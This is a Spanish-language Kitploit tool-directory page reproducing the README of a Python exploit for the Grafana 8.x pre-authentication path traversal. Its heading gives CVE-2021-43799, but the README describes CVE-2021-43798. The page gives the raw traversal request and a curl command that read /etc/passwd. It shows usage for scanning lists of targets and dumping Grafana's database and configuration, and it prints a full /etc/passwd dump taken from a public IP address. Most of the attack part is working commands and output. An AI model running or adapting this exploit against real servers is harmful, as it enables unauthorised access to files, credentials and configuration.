Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-43799 — Código Exploit en Python | Kitploit
Herramientas/GitHubGitHub/scopion/cve-2021-43799
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubscopion/cve-2021-43799

CVE-2021-43799

Código Exploit en Python

Ver Repositorio
12hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth) Todo el crédito es para j0v y su tweet https://twitter.com/j0v0x0/status/1466845212626542607

Descargo de responsabilidad

Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio. De buena fe, he retenido la publicación de este PoC hasta que esta vulnerabilidad sea pública o haya un parche disponible.

Tabla de contenido

  • Explicación - Explica la vulnerabilidad
  • Vectores de ataque - Lista de ataques que puedes llevar a cabo
  • Script de exploit - Uso del script de exploit

Explicación

Me percaté de un tweet de j0v en el que afirmaba haber encontrado un bug de path traversal en Grafana. Por curiosidad, empecé a revisar el código fuente de Grafana. En el tweet se mencionaba que era un bug de pre-autenticación. Solo hay un par de endpoints públicos de API en Grafana, y solo uno de ellos tomaba una ruta de archivo del usuario. Grafana tiene un endpoint público de API, /public/plugins/:pluginId, que permite ver los recursos de un plugin. Esto funciona proporcionando un :pluginId válido y luego especificando la ruta del archivo, como img/logo.png. Sin embargo, Grafana no sanitiza la ruta de archivo proporcionada por el usuario, lo que provoca un path traversal. El directorio al que se accede está en <grafana>/public/app/plugins/panel/<pluginId>. En una instalación estándar de Grafana, el directorio de datos de Grafana es /usr/share/grafana. Por lo tanto, retrocediendo 8 directorios, puedes llegar al directorio raíz del sistema de archivos. Petición HTTP:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Código problemático: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 Nota: Esto no funciona en el navegador (que colapsa automáticamente el ../ en la ruta) Se puede probar con curl usando el argumento --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Ayuda:

root@kitploit:~
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_LIST, --list INPUT_LIST
                        Input list of ip:port
  -db, --database       Dump db
  -cfg, --config        Dump config
  -c, --check           Enable output regex checking (Suppress false positives)
  -t TARGET, --target TARGET
                        Single target
  -f TARGET_FILE, --file TARGET_FILE
                        Remote target file
  -w WRITE_FILE, --write WRITE_FILE
                        Directory to write files to.
  -v, --verbosity       Verbosity

Obtener un archivo:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list

Volcar la base de datos:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -db

Volcar Config:

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -cfg

Otras opciones:

Solo imprimir archivos válidos:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

Escribir el archivo en el directorio files:

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files
Descargar herramienta